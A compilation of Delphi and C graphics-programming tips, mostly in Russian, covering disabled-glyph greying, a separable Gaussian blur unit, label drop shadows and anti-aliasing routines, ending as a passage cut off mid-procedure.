  IRect := Rect(0, 0, bmpFrom.Width, bmpFrom.Height);
  TmpImage.Canvas.Brush.Color := clBtnFace;
  try
    with MonoBmp do
    begin
      Assign(bmpFrom);
      Canvas.Brush.Color := clBlack;
      if Monochrome then

      begin
        Canvas.Font.Color := clWhite;
        Monochrome := False;
        Canvas.Brush.Color := clWhite;
      end;
      Monochrome := True;
    end;
    with TmpImage.Canvas do
    begin
      Brush.Color := clBtnFace;
      FillRect(IRect);
      Brush.Color := clBlack;
      Font.Color := clWhite;
      CopyMode := MergePaint;
      Draw(IRect.Left + 1, IRect.Top + 1, MonoBmp);
      CopyMode := SrcAnd;
      Draw(IRect.Left, IRect.Top, MonoBmp);

      Brush.Color := clBtnShadow;
      Font.Color := clBlack;
      CopyMode := SrcPaint;
      Draw(IRect.Left, IRect.Top, MonoBmp);
      CopyMode := SrcCopy;
      bmpTo.assign(TmpImage);
      TmpImage.free;
    end;
  finally
    MonoBmp.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  aaa(image1.picture.bitmap,image2.picture.bitmap);
  Image2.invalidate;
end;

Писал это не я. Это написал сам Борланд (некузявно было бы взглянуть на класс TButtonGlyph. Как раз из него я это и выдернул).

Hу а если уже совсем хорошо разобраться, то можно заметить функцию
ImageList_DrawEx, в которой можно на 25 и 50 процентов уменьшить яркость
(но визуально это очень плохо воспринимается). Соответственно
параметры ILD_BLEND25, ILD_BLEND50, ILD_BLEND-A-MED. Естественно, что
последний абзац работает только с тройкой.

Denis Tanayeff
denis@demo.ru

Это кусочек из рабочей проги на Си, Вроде все лишнее я убрал.

#define CO_GRAY         0x00C0C0C0L

hMemDC      =       CreateCompatibleDC(hDC);
hOldBitmap  =   SelectObject(hMemDC, hBits);

   //  hBits это собственно картинка, которую надо "засерить"

GetObject(hBits, sizeof(Bitmap), (LPSTR) &Bitmap);

if ( GetState(BS_DISABLED) ) // Blt disabled
{
    hOldBrush = SelectObject(hDC, CreateSolidBrush(CO_GRAY));//CO_GRAY

    PatBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth,
            Bitmap.bmHeight, PATCOPY);

    DeleteObject(SelectObject(hDC, hOldBrush));

    lbLogBrush.lbStyle = BS_PATTERN;
    lbLogBrush.lbHatch =(int)LoadBitmap(hInsts,
MAKEINTRESOURCE(BT_DISABLEBITS));
    hOldBrush = SelectObject(hDC, CreateBrushIndirect(&lbLogBrush));

    BitBlt(hDC, BD_BORDERWIDTH, BD_BORDERWIDTH, Bitmap.bmWidth,
                Bitmap.bmHeight, hMemDC, 0, 0, 0x00A803A9UL); // DPSoa

    DeleteObject(SelectObject(hDC, hOldBrush));
    DeleteObject((HGDIOBJ)lbLogBrush.lbHatch);

}

Andy Nikishin
http://www.gs.ru/~links/andy.shtml
(2:5031/16.2)


Получение Gaussian Blur

Автор: Den is Com

Ну вот, добрались и до фильтров. В неформальных испытаниях этот код оказался вдвое быстрее, чем это делает Adobe Photoshop. Мне кажется есть множество фильтров, которые можно переделать или оптимизировать для быстроты обработки изображений.

Ядро гауссовой функции exp(-(x^2 + y^2)) есть разновидность формулы f(x)*g(y), которая означает, что мы можем выполнить двумерную свертку, делая последовательность одномерных сверток - сначала мы свертываем каждую строчку изображения, затем - каждую колонку. Хороший повод для ускорения (N^2 становится N*2). Любая свертка требует некоторого место для временного хранения результатов - ниже в коде программа BlurRow как раз распределяет и освобождает память для каждой колонки. Вероятно это должно ускорить обработку изображения, правда не ясно насколько.

Поле "size" в записи TKernel ограничено значением 200. Фактически, если вы хотите использовать еще больший радиус, это не вызовет проблем - попробуйте со значениями radius = 3, 5 или другими. Для большого количества данных методы свертки на поверку оказываются эффективнее преобразований Фурье (как показали опыты).

Еще один комментарий все же необходим: гауссово размывание имеет одно магическое свойство, а именно - вы можете сначала размыть каждую строчку (применить фильтр), затем каждую колонку - фактически получается значительно быстрее, чем двумерная свертка.

Во всяком случае вы можете сделать так:

unit GBlur2;

interface

uses Windows, Graphics;

type

  PRGBTriple = ^TRGBTriple;
  TRGBTriple = packed record
    b: byte; //легче для использования чем типа rgbtBlue...
    g: byte;
    r: byte;
  end;

  PRow = ^TRow;
  TRow = array[0..1000000] of TRGBTriple;

  PPRows = ^TPRows;
  TPRows = array[0..1000000] of PRow;

const
  MaxKernelSize = 100;

type

  TKernelSize = 1..MaxKernelSize;

  TKernel = record
    Size: TKernelSize;
    Weights: array[-MaxKernelSize..MaxKernelSize] of single;
  end;
  //идея заключается в том, что при использовании TKernel мы игнорируем
  //Weights (вес), за исключением Weights в диапазоне -Size..Size.

procedure GBlur(theBitmap: TBitmap; radius: double);

implementation

uses SysUtils;

procedure MakeGaussianKernel(var K: TKernel; radius: double;

  MaxData, DataGranularity: double);
//Делаем K (гауссово зерно) со среднеквадратичным отклонением = radius.
//Для текущего приложения мы устанавливаем переменные MaxData = 255,
//DataGranularity = 1. Теперь в процедуре установим значение
//K.Size так, что при использовании K мы будем игнорировать Weights (вес)
//с наименее возможными значениями. (Малый размер нам на пользу,
//поскольку время выполнения напрямую зависит от
//значения K.Size.)
var
  j: integer;
  temp, delta: double;
  KernelSize: TKernelSize;
begin

  for j := Low(K.Weights) to High(K.Weights) do
  begin
    temp := j / radius;
    K.Weights[j] := exp(-temp * temp / 2);
  end;

  //делаем так, чтобы sum(Weights) = 1:

  temp := 0;
  for j := Low(K.Weights) to High(K.Weights) do
    temp := temp + K.Weights[j];
  for j := Low(K.Weights) to High(K.Weights) do
    K.Weights[j] := K.Weights[j] / temp;

  //теперь отбрасываем (или делаем отметку "игнорировать"
  //для переменной Size) данные, имеющие относительно небольшое значение -
  //это важно, в противном случае смазавание происходим с малым радиусом и
  //той области, которая "захватывается" большим радиусом...

  KernelSize := MaxKernelSize;
  delta := DataGranularity / (2 * MaxData);
  temp := 0;
  while (temp < delta) and (KernelSize > 1) do
  begin
    temp := temp + 2 * K.Weights[KernelSize];
    dec(KernelSize);
  end;

  K.Size := KernelSize;

  //теперь для корректности возвращаемого результата проводим ту же
  //операцию с K.Size, так, чтобы сумма всех данных была равна единице:

  temp := 0;
  for j := -K.Size to K.Size do
    temp := temp + K.Weights[j];
  for j := -K.Size to K.Size do
    K.Weights[j] := K.Weights[j] / temp;

end;

function TrimInt(Lower, Upper, theInteger: integer): integer;
begin

  if (theInteger <= Upper) and (theInteger >= Lower) then
    result := theInteger
  else if theInteger > Upper then
    result := Upper
  else
    result := Lower;
end;

function TrimReal(Lower, Upper: integer; x: double): integer;
begin

  if (x < upper) and (x >= lower) then
    result := trunc(x)
  else if x > Upper then
    result := Upper
  else
    result := Lower;
end;

procedure BlurRow(var theRow: array of TRGBTriple; K: TKernel; P: PRow);
var
  j, n, LocalRow: integer;
  tr, tg, tb: double; //tempRed и др.

  w: double;
begin

  for j := 0 to High(theRow) do

  begin
    tb := 0;
    tg := 0;
    tr := 0;
    for n := -K.Size to K.Size do
    begin
      w := K.Weights[n];

      //TrimInt задает отступ от края строки...

      with theRow[TrimInt(0, High(theRow), j - n)] do
      begin
        tb := tb + w * b;
        tg := tg + w * g;
        tr := tr + w * r;
      end;
    end;
    with P[j] do
    begin
      b := TrimReal(0, 255, tb);
      g := TrimReal(0, 255, tg);
      r := TrimReal(0, 255, tr);
    end;
  end;

  Move(P[0], theRow[0], (High(theRow) + 1) * Sizeof(TRGBTriple));
end;

procedure GBlur(theBitmap: TBitmap; radius: double);
var
  Row, Col: integer;
  theRows: PPRows;
  K: TKernel;
  ACol: PRow;
  P: PRow;
begin
  if (theBitmap.HandleType <> bmDIB) or (theBitmap.PixelFormat <> pf24Bit) then

    raise
      exception.Create('GBlur может работать только с 24-битными изображениями');

  MakeGaussianKernel(K, radius, 255, 1);
  GetMem(theRows, theBitmap.Height * SizeOf(PRow));
  GetMem(ACol, theBitmap.Height * SizeOf(TRGBTriple));

  //запись позиции данных изображения:
  for Row := 0 to theBitmap.Height - 1 do

    theRows[Row] := theBitmap.Scanline[Row];

  //размываем каждую строчку:
  P := AllocMem(theBitmap.Width * SizeOf(TRGBTriple));
  for Row := 0 to theBitmap.Height - 1 do

    BlurRow(Slice(theRows[Row]^, theBitmap.Width), K, P);

  //теперь размываем каждую колонку
  ReAllocMem(P, theBitmap.Height * SizeOf(TRGBTriple));
  for Col := 0 to theBitmap.Width - 1 do
  begin
    //- считываем первую колонку в TRow:

    for Row := 0 to theBitmap.Height - 1 do
      ACol[Row] := theRows[Row][Col];

    BlurRow(Slice(ACol^, theBitmap.Height), K, P);

    //теперь помещаем обработанный столбец на свое место в данные изображения:

    for Row := 0 to theBitmap.Height - 1 do
      theRows[Row][Col] := ACol[Row];
  end;

  FreeMem(theRows);
  FreeMem(ACol);
  ReAllocMem(P, 0);
end;

end.

Должно работать, если только вы не удалите некоторый код вместе с глупыми коментариями. Для примера:

procedure TForm1.Button1Click(Sender: TObject);
var
  b: TBitmap;
begin
  if not openDialog1.Execute then
    exit;

  b := TBitmap.Create;
  b.LoadFromFile(OpenDialog1.Filename);
  b.PixelFormat := pf24Bit;
  Canvas.Draw(0, 0, b);
  GBlur(b, StrToFloat(Edit1.text));
  Canvas.Draw(b.Width, 0, b);
  b.Free;
end;

Имейте в виду, что 24-битные изображения при системной 256-цветной палитре требуют некоторых дополнительных хитростей, так как эти изображения не только выглядят в таком случае немного "странными", но и серьезно нарушают работу фильтра.

Взято с http://delphiworld.narod.ru

Гауссово размывание (Gaussian Blur) в Delphi (продолжение) - Создание тени у метки
Автор: Den is Com

Данный метод позволяет создавать тень у текстовых меток TLabel. Не требует лазить в Photoshop и что-то ваять там - тень рисуется динамически, поэтому и объём программы не раздувает. Создание тени присходит в фоновом режиме, во время "простоя" процессора.

Пример использования:

ShowFade(CaptionLabel);
//или
ShowFadeWithParam(CaptionLabel,3,3,2,clGray);

Blur.pas

unit blur;

interface

uses

  Classes, graphics, stdctrls, gblur2;
const
  add_width = 4;

  add_height = 5;
type

  TBlurThread = class(TThread)
  private
    { Private declarations }
    text_position: Integer;
    FadeLabel: TLabel;
    Temp_Bitmap: TBitmap;

    procedure ShowBlur;
    procedure SetSize;
  protected
    F_width, F_X, F_Y: Integer;
    F_color: TColor;
    procedure Execute; override;
  public

    constructor Create(Sender: TLabel; Fade_width: integer; Fade_X: Integer;
      Fade_Y: Integer; Fade_color: TColor);
    destructor Destroy;

  end;
procedure ShowFade(Sender: TLabel);
procedure ShowFadeWithParam(Sender: TLabel; Fade_width: integer; Fade_X:
  Integer; Fade_Y: Integer; Fade_color: TColor);

implementation

procedure ShowFadeWithParam(Sender: TLabel; Fade_width: integer; Fade_X:
  Integer; Fade_Y: Integer; Fade_color: TColor);
var
  SlowThread: TBlurThread;
begin
  SlowThread := TBlurThread.Create(Sender, Fade_width, Fade_X, Fade_Y,
    Fade_color);
  SlowThread.Priority := tpIdle;
  SlowThread.Resume;
end;

procedure ShowFade;
var
  SlowThread: TBlurThread;
begin
  SlowThread := TBlurThread.Create(Sender, 3, 3, 3, clBlack);
  SlowThread.Priority := tpIdle;
  //SlowThread.Priority:=tpLowest;
  //SlowThread.Priority:=tpTimeCritical;
  SlowThread.Resume;
end;

constructor TBlurThread.Create(Sender: TLabel; Fade_width: integer; Fade_X:
  Integer; Fade_Y: Integer; Fade_color: TColor);
begin
  Temp_Bitmap := TBitmap.Create;
  Temp_Bitmap.Canvas.Font := Sender.Font;
  FadeLabel := Sender;
  F_width := Fade_width;
  F_X := Fade_X;
  F_Y := Fade_Y;
  F_color := Fade_color;
  inherited Create(True);
end;

destructor TBlurThread.Destroy;
begin
  Temp_Bitmap.Free;
  inherited Destroy;
end;

procedure TBlurThread.ShowBlur;
begin
  FadeLabel.Canvas.Draw(text_position + F_X, F_Y, Temp_Bitmap);
  FadeLabel.Canvas.TextOut(text_position, 0, FadeLabel.Caption);
end;

procedure TBlurThread.SetSize;
begin
  if FadeLabel.Width < (Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) + F_width
    + F_X {add_width}) then
  begin
    FadeLabel.Width := Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) + F_width
      + F_X {add_width};
    FadeLabel.Tag := 2;
  end
  else
    FadeLabel.Tag := 0;

  if FadeLabel.Height < (Temp_Bitmap.Canvas.TextHeight(FadeLabel.Caption) +
    F_width + F_Y {add_height}) then
  begin
    FadeLabel.Height := Temp_Bitmap.Canvas.TextHeight(FadeLabel.Caption) +
      F_width + F_Y {add_height};
    FadeLabel.Tag := 1;
  end
  else if FadeLabel.Tag <> 2 then
    FadeLabel.Tag := 0;

end;

{ TBlurThread }

procedure TBlurThread.Execute;
begin

  { Place thread code here }
  Synchronize(SetSize);

  if FadeLabel.Tag = 0 then
  begin
    Temp_Bitmap.Width := FadeLabel.Width;
    Temp_Bitmap.Height := FadeLabel.Height;
    Temp_Bitmap.Canvas.Brush.Color := FadeLabel.Color;
    Temp_Bitmap.Canvas.FillRect(FadeLabel.ClientRect);
    Temp_Bitmap.Canvas.Font.Color := F_color; //clBlack

    if FadeLabel.Alignment = taRightJustify then
      text_position := FadeLabel.Width -
        Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) - F_width - F_X {add_width}
    else if FadeLabel.Alignment = taCenter then
      text_position := (FadeLabel.Width -
        Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) - F_width - F_X
        {add_width}) div 2
    else
      text_position := 0;

    Temp_Bitmap.Canvas.TextOut(0, 0, FadeLabel.Caption);
    Temp_Bitmap.PixelFormat := pf24Bit;
    GBlur(Temp_Bitmap, F_width);
    //Temp_Bitmap.SaveToFile('a.bmp');
    Synchronize(ShowBlur);
  end;

end;

end.

Взято с http://delphiworld.narod.ru

The gaussian kernel exp(-(x^2 + y^2)) is of the form f(x)*g(y), which means that you can perform a two-dimensional convolution by doing a sequence of one-dimensional convolutions - first you convolve each row and then each column. This is much faster (an N^2 becomes an N*2). Any convolution requires some temporary storage - below the BlurRow routine allocates and frees the memory, meaning that it gets allocated and freed once for each row. Probably changing this would speed it up some, it's not entirely clear how much.

The kernel "size" is limited to 200 entries. In fact if you use radius anything like that large it will take forever - you want to try this with a radius = 3 or 5 or something. For a kernel with that many entries a straight convolution is the thing to do, while when the kernel gets much larger Fourier transform techniques will be better (I couldn't say what the actual cutoff is.)

One comment that needs to be made is that a gaussian blur has the magical property that you can blur each row one by one and then blur each column - this is much faster than an actual 2-d convolution.

Anyway, you can do this:

unit GBlur2;

interface

uses
  Windows, Graphics;

type
  PRGBTriple = ^TRGBTriple;
  TRGBTriple = packed record
    b: byte; {easier to type than rgbtBlue}
    g: byte;
    r: byte;
  end;
  PRow = ^TRow;
  TRow = array[0..1000000] of TRGBTriple;
  PPRows = ^TPRows;
  TPRows = array[0..1000000] of PRow;

const
  MaxKernelSize = 100;

type
  TKernelSize = 1..MaxKernelSize;
  TKernel = record
    Size: TKernelSize;
    Weights: array[-MaxKernelSize..MaxKernelSize] of single;
  end;
  {the idea is that when using a TKernel you ignore the Weights except
  for Weights in the range -Size..Size.}

procedure GBlur(theBitmap: TBitmap; radius: double);

implementation

uses
  SysUtils;

procedure MakeGaussianKernel(var K: TKernel; radius: double; MaxData, DataGranularity: double);
{makes K into a gaussian kernel with standard deviation = radius. For the current application
you set MaxData = 255 and DataGranularity = 1. Now the procedure sets the value of K.Size so
that when we use K we will ignore the Weights that are so small they can't possibly matter. (Small
Size is good because the execution time is going to be propertional to K.Size.)}
var
  j: integer;
  temp, delta: double;
  KernelSize: TKernelSize;
begin
  for j := Low(K.Weights) to High(K.Weights) do
  begin
    temp := j / radius;
    K.Weights[j] := exp(-temp * temp / 2);
  end;
  {now divide by constant so sum(Weights) = 1:}
  temp := 0;
  for j := Low(K.Weights) to High(K.Weights) do
    temp := temp + K.Weights[j];
  for j := Low(K.Weights) to High(K.Weights) do
    K.Weights[j] := K.Weights[j] / temp;
  {now discard (or rather mark as ignorable by setting Size) the entries that are too small to matter.
  This is important, otherwise a blur with a small radius will take as long as with a large radius...}
  KernelSize := MaxKernelSize;
  delta := DataGranularity / (2 * MaxData);
  temp := 0;
  while (temp < delta) and (KernelSize > 1) do
  begin
    temp := temp + 2 * K.Weights[KernelSize];
    dec(KernelSize);
  end;
  K.Size := KernelSize;
  {now just to be correct go back and jiggle again so the sum of the entries we'll be using is exactly 1}
  temp := 0;
  for j := -K.Size to K.Size do
    temp := temp + K.Weights[j];
  for j := -K.Size to K.Size do
    K.Weights[j] := K.Weights[j] / temp;
end;

function TrimInt(Lower, Upper, theInteger: integer): integer;
begin
  if (theInteger <= Upper) and (theInteger >= Lower) then
    result := theInteger
  else if theInteger > Upper then
    result := Upper
  else
    result := Lower;
end;

function TrimReal(Lower, Upper: integer; x: double): integer;
begin
  if (x < upper) and (x >= lower) then
    result := trunc(x)
  else if x > Upper then
    result := Upper
  else
    result := Lower;
end;

procedure BlurRow(var theRow: array of TRGBTriple; K: TKernel; P: PRow);
var
  j, n, LocalRow: integer;
  tr, tg, tb: double; {tempRed, etc}
  w: double;
begin
  for j := 0 to High(theRow) do
  begin
    tb := 0;
    tg := 0;
    tr := 0;
    for n := -K.Size to K.Size do
    begin
      w := K.Weights[n];
      {the TrimInt keeps us from running off the edge of the row...}
      with theRow[TrimInt(0, High(theRow), j - n)] do
      begin
        tb := tb + w * b;
        tg := tg + w * g;
        tr := tr + w * r;
      end;
    end;
    with P[j] do
    begin
      b := TrimReal(0, 255, tb);
      g := TrimReal(0, 255, tg);
      r := TrimReal(0, 255, tr);
    end;
  end;
  Move(P[0], theRow[0], (High(theRow) + 1) * Sizeof(TRGBTriple));
end;

procedure GBlur(theBitmap: TBitmap; radius: double);
var
  Row, Col: integer;
  theRows: PPRows;
  K: TKernel;
  ACol: PRow;
  P: PRow;
begin
  if (theBitmap.HandleType <> bmDIB) or (theBitmap.PixelFormat <> pf24Bit) then
    raise exception.Create('GBlur only works for 24-bit bitmaps');
  MakeGaussianKernel(K, radius, 255, 1);
  GetMem(theRows, theBitmap.Height * SizeOf(PRow));
  GetMem(ACol, theBitmap.Height * SizeOf(TRGBTriple));
  {record the location of the bitmap data:}
  for Row := 0 to theBitmap.Height - 1 do
    theRows[Row] := theBitmap.Scanline[Row];
  {blur each row:}
  P := AllocMem(theBitmap.Width * SizeOf(TRGBTriple));
  for Row := 0 to theBitmap.Height - 1 do
    BlurRow(Slice(theRows[Row]^, theBitmap.Width), K, P);
  {now blur each column}
  ReAllocMem(P, theBitmap.Height * SizeOf(TRGBTriple));
  for Col := 0 to theBitmap.Width - 1 do
  begin
    {first read the column into a TRow:}
    for Row := 0 to theBitmap.Height - 1 do
      ACol[Row] := theRows[Row][Col];
    BlurRow(Slice(ACol^, theBitmap.Height), K, P);
    {now put that row, um, column back into the data:}
    for Row := 0 to theBitmap.Height - 1 do
      theRows[Row][Col] := ACol[Row];
  end;
  FreeMem(theRows);
  FreeMem(ACol);
  ReAllocMem(P, 0);
end;

end.

Example:

procedure TForm1.Button1Click(Sender: TObject);
var
  b: TBitmap;
begin
  if not openDialog1.Execute then
    exit;
  b := TBitmap.Create;
  b.LoadFromFile(OpenDialog1.Filename);
  b.PixelFormat := pf24Bit;
  Canvas.Draw(0, 0, b);
  GBlur(b, StrToFloat(Edit1.text));
  Canvas.Draw(b.Width, 0, b);
  b.Free;
end;

Note that displaying 24-bit bitmaps on a 256-color system requires some special tricks - if this looks funny at 256 colors it doesn't prove the blur is wrong.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как использовать anti-aliasing?

{The parameter "percent" needs an integer between 0 and 100 (include zero and 100). If "Percent" is 0, there will be no effect. If it's 100 there will be the strongest effect.}

procedure Antialising(C: TCanvas; Rect: TRect; Percent: Integer);
var
  l, p: Integer;
  R, G, B: Integer;
  R1, R2, G1, G2, B1, B2: Byte;
begin
  with c do
  begin
    Brush.Style := bsclear;
    lineto(200, 100);
    moveto(50, 150);
    Ellipse(50, 150, 200, 30);
    for l := Rect.Top to Rect.Bottom do
    begin
      for p := Rect.Left to Rect.Right do
      begin
        R1 := GetRValue(Pixels[p, l]);
        G1 := GetGValue(Pixels[p, l]);
        B1 := GetBValue(Pixels[p, l]);

        //Pixel links
        //Pixel left
        R2 := GetRValue(Pixels[p - 1, l]);
        G2 := GetGValue(Pixels[p - 1, l]);
        B2 := GetBValue(Pixels[p - 1, l]);

        if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
        begin
          R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
          G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
          B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
          Pixels[p - 1, l] := RGB(R, G, B);
        end;

        //Pixel rechts
        //Pixel right
        R2 := GetRValue(Pixels[p + 1, l]);
        G2 := GetGValue(Pixels[p + 1, l]);
        B2 := GetBValue(Pixels[p + 1, l]);

        if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
        begin
          R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
          G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
          B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
          Pixels[p + 1, l] := RGB(R, G, B);
        end;

        //Pixel oben
        //Pixel up
        R2 := GetRValue(Pixels[p, l - 1]);
        G2 := GetGValue(Pixels[p, l - 1]);
        B2 := GetBValue(Pixels[p, l - 1]);

        if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
        begin
          R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
          G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
          B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
          Pixels[p, l - 1] := RGB(R, G, B);
        end;

        //Pixel unten
        //Pixel down
        R2 := GetRValue(Pixels[p, l + 1]);
        G2 := GetGValue(Pixels[p, l + 1]);
        B2 := GetBValue(Pixels[p, l + 1]);

        if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
        begin
          R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
          G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
          B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
          Pixels[p, l + 1] := RGB(R, G, B);
        end;
      end;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Antialising(Image1.Canvas, Image1.Canvas.ClipRect, 100);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

{***************************************************************
*
* Project : FastAntiAlias
* Unit    : FAAlias
* Purpose : To demonstrate the use of super-sampling technique
*           to anti-alias an image, as well to fast access to
*           a bitmap image pixels using the ScanLine property
* Author  : Nacho Urenda (based on an example project by Rod
*           Stephens published on Delphi Informant,
*           april 98 issue)
* Date    : 15/08/2000
*
***************************************************************}

unit FAAlias;

interface

uses
  Windows, SysUtils, Graphics, Controls, Forms, StdCtrls, ExtCtrls,
  ComCtrls, ShellApi, Classes;

type
  TAntiAliasForm = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    OutBox: TPaintBox;
    OrigBox: TPaintBox;
    Label1: TLabel;
    Label2: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    ProcessBtn: TButton;
    ZoomOutBox: TCheckBox;
    ZoomOrigBox: TCheckBox;
    Method: TRadioGroup;
    Memo1: TMemo;
    TabSheet3: TTabSheet;
    Label3: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    Label9: TLabel;
    Label10: TLabel;
    Label11: TLabel;
    Label12: TLabel;
    OrigVScrollBar: TScrollBar;
    OutVScrollBar: TScrollBar;
    OrigHScrollBar: TScrollBar;
    OutHScrollBar: TScrollBar;
    procedure SeparateColor(color : TColor; var r, g, b : Integer);
    procedure OutBoxPaint(Sender: TObject);
    procedure DrawFace(bm : TBitmap; pen_width : Integer);
    procedure OrigBoxPaint(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ProcessBtnClick(Sender: TObject);
    procedure DrawBigBmp;
    procedure FormCreate(Sender: TObject);
    procedure ZoomOrigBoxClick(Sender: TObject);
    procedure ZoomOutBoxClick(Sender: TObject);
    procedure Label10Click(Sender: TObject);
    procedure Label12Click(Sender: TObject);
    procedure OrigScrollBarChange(Sender: TObject);
    procedure OutScrollBarChange(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure AntiAliasPicture;
    procedure FastAntiAliasPicture;
  end;

var
  AntiAliasForm: TAntiAliasForm;

const
    MaxPixelCount   =  32768;

type
    pRGBArray  =  ^TRGBArray;
    TRGBArray  =  ARRAY[0..MaxPixelCount-1] OF TRGBTriple;

implementation

{$R *.DFM}

var
    orig_bmp, big_bmp, out_bmp : TBitmap;

{***************************************************************
 TAntiAliasForm.SeparateColor
   15/08/2000

   The original procedure by Rod Stephens has been somewhat
   fastened
***************************************************************}
procedure TAntiAliasForm.SeparateColor(color : TColor;
  var r, g, b : Integer);
begin
  r := Byte(color);
  g := Byte(color shr 8);
  b := Byte(color shr 16);
end;

{***************************************************************
 TAntiAliasForm.AntiAliasPicture
   15/08/2000

   The original AAliasPicture procedure by Rod Stephens has been
   rewritten to improve the supersampling from double to triple
   factor, and somewhat simplified...
***************************************************************}
procedure TAntiAliasForm.AntiAliasPicture;
var
  x, y: integer;
  totr, totg, totb, r, g, b : integer;
  i, j: integer;
begin
  // For each row
  for y := 0 to orig_bmp.Height - 1 do
  begin
    // For each column
    for x := 0 to orig_bmp.Width - 1 do
    begin
      totr := 0;
      totg := 0;
      totb := 0;

      // Read each of the sample pixels
      for i := 0 to 2 do
      begin
        for j := 0 to 2 do
        begin
          SeparateColor(big_bmp.Canvas.Pixels[(x*3) + j, (y*3) + i], r, g, b);
          totr := totr + r;
          totg := totg + g;
          totb := totb + b;
        end;
      end;

      out_bmp.Canvas.Pixels[x,y] := RGB(totr div 9,
                                        totg div 9,
                                        totb div 9);
    end; // end for columns
  end; // end for rows
end;

{***************************************************************
 TAntiAliasForm.FastAAliasPicture
   20/08/2000
***************************************************************}
procedure TAntiAliasForm.FastAntiAliasPicture;
var
  x, y, cx, cy : integer;
  totr, totg, totb : integer;
  Row1, Row2, Row3, DestRow: pRGBArray;
  i: integer;
begin
  // For each row
  for y := 0 to orig_bmp.Height - 1 do
  begin
    // We compute samples of 3 x 3 pixels
    cy := y*3;
    // Get pointers to actual, previous and next rows in supersampled bitmap
    Row1 := big_bmp.ScanLine[cy];
    Row2 := big_bmp.ScanLine[cy+1];
    Row3 := big_bmp.ScanLine[cy+2];

    // Get a pointer to destination row in output bitmap
    DestRow := out_bmp.ScanLine[y];

    // For each column...
    for x := 0 to orig_bmp.Width - 1 do
    begin
      // We compute samples of 3 x 3 pixels
      cx := 3*x;

      // Initialize result color
      totr := 0;
      totg := 0;
      totb := 0;

      // For each pixel in sample
      for i := 0 to 2 do
      begin
        // New red value
        totr := totr + Row1[cx + i].rgbtRed
             + Row2[cx + i].rgbtRed
             + Row3[cx + i].rgbtRed;
        // New green value
        totg := totg + Row1[cx + i].rgbtGreen
             + Row2[cx + i].rgbtGreen
             + Row3[cx + i].rgbtGreen;
        // New blue value
        totb := totb + Row1[cx + i].rgbtBlue
             + Row2[cx + i].rgbtBlue
             + Row3[cx + i].rgbtBlue;
      end;

      // Set output pixel colors
      DestRow[x].rgbtRed := totr div 9;
      DestRow[x].rgbtGreen := totg div 9;
      DestRow[x].rgbtBlue := totb div 9;
    end;
  end;
end;

{***************************************************************
 TAntiAliasForm.OrigBoxPaint
 TAntiAliasForm.OutBoxPaint
   15/08/2000

   The original procedures by Rod Stephens have been modified
   to allow the zooming and panning effects
***************************************************************}
procedure TAntiAliasForm.OrigBoxPaint(Sender: TObject);
var ZoomRect: TRect;
begin
  // If zoomed display an enlarged protion of the bitmap
  if ZoomOrigBox.Checked then
  begin
    ZoomRect := Rect(OrigHScrollBar.Position,
                     OrigVScrollBar.Position,
                     OrigHScrollBar.Position+60,
                     OrigVScrollBar.Position+60);
    OrigBox.Canvas.CopyRect(OrigBox.ClientRect, orig_bmp.Canvas, ZoomRect)
  end else
    OrigBox.Canvas.Draw(0, 0, orig_bmp);
end;

procedure TAntiAliasForm.OutBoxPaint(Sender: TObject);
var ZoomRect: TRect;
begin
  if ZoomOutBox.Checked then
  begin
    ZoomRect := Rect(OutHScrollBar.Position,
                     OutVScrollBar.Position,
                     OutHScrollBar.Position+60,
                     OutVScrollBar.Position+60);
    OutBox.Canvas.CopyRect(OutBox.ClientRect, out_bmp.Canvas, ZoomRect)
  end else
    OutBox.Canvas.Draw(0, 0, out_bmp);
end;

{***************************************************************
 TAntiAliasForm.DrawFace
   15/08/2000

   Procedure written by Rod Stephens (unmodified)
***************************************************************}
procedure TAntiAliasForm.DrawFace(bm : TBitmap;
                                  pen_width : Integer);
var
  x1, y1, x2, y2, x3, y3, x4, y4 : Integer;
  old_width                      : Integer;
  old_color                      : TColor;
begin
  // Save the original brush color and pen width.
  old_width := bm.Canvas.Pen.Width;
  old_color := bm.Canvas.Brush.Color;
  //orig_bmp.LoadFromFile('c:\1.bmp');
  // Erase background;
  bm.Canvas.Pen.Color := clwhite;
  bm.Canvas.Brush.Color := clwhite;
  bm.Canvas.Rectangle(0, 0, bm.width, bm.height);

  // Draw the head.
  bm.Canvas.Pen.Color := clBlack;
  bm.Canvas.Pen.Width := pen_width;
  bm.Canvas.Brush.Color := clYellow;
  x1 := Round(bm.Width * 0.05);
  y1 := x1;
  x2 := Round(bm.Height * 0.95);
  y2 := x2;
  bm.Canvas.Ellipse(x1, y1, x2, y2);

  // Draw the eyes.
  bm.Canvas.Brush.Color := clWhite;
  x1 := Round(bm.Width * 0.25);
  y1 := Round(bm.Height * 0.25);
  x2 := Round(bm.Width * 0.4);
  y2 := Round(bm.Height * 0.4);
